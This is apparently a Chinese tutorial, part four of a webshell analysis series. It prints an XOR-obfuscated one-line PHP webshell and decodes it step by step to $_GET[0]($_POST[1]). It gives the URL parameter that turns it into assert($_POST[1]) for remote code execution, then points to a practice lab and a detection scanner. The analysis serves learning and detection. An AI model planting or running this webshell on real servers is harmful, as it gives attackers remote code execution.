WebShell代码分析溯源(四)

一、一句话变形马样本

<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>

二、代码分析

1、调整代码格式

　　

 

2、分析代码

“^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完，又将结果从二进制转换成了字符串。

$_++,这行代码的意思是对变量名为”_”的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,可以在不使用任何数字的情况下，通过对未定义变量的自增操作来得到一个数字。

2.1手动进行异或运算，依次类推得到$___=_POST

　　

2.2$_++在自增之后，$_就变成了1，因此，!$_也就为0，综上分析，${$__}[!$_](${$___}[$_]);也就变成了$_GET[0]($_POST[1]);，此时一句话木马为<?php $_GET[0]($_POST[1]); ?>

2.3构造payload: http://www.test.com/test.php?0=assert，因此一句话木马就变成为<?php  assert($_POST[1]); ?>，然后使用菜刀连接，密码为1

2.4远程代码执行，执行一些命令

 　　

 

 　　

3、通过调试代码进行分析webshell,搭建php环境(这里使用phpstudy)

　　

4、调试输出结果如下

　　

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(PHP代码分析溯源(第1题))，地址: https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe

2、代码环境，下载代码

　　

3、分析(上面已经分析过了)

4、使用菜刀连接

　　

四、后记

学习常用webshell扫描检测查杀工具---WEBDIR+(百度WebShell扫描检测引擎),网址: https://scanner.baidu.com/#/pages/intro

使用WEBDIR+进行webshell查杀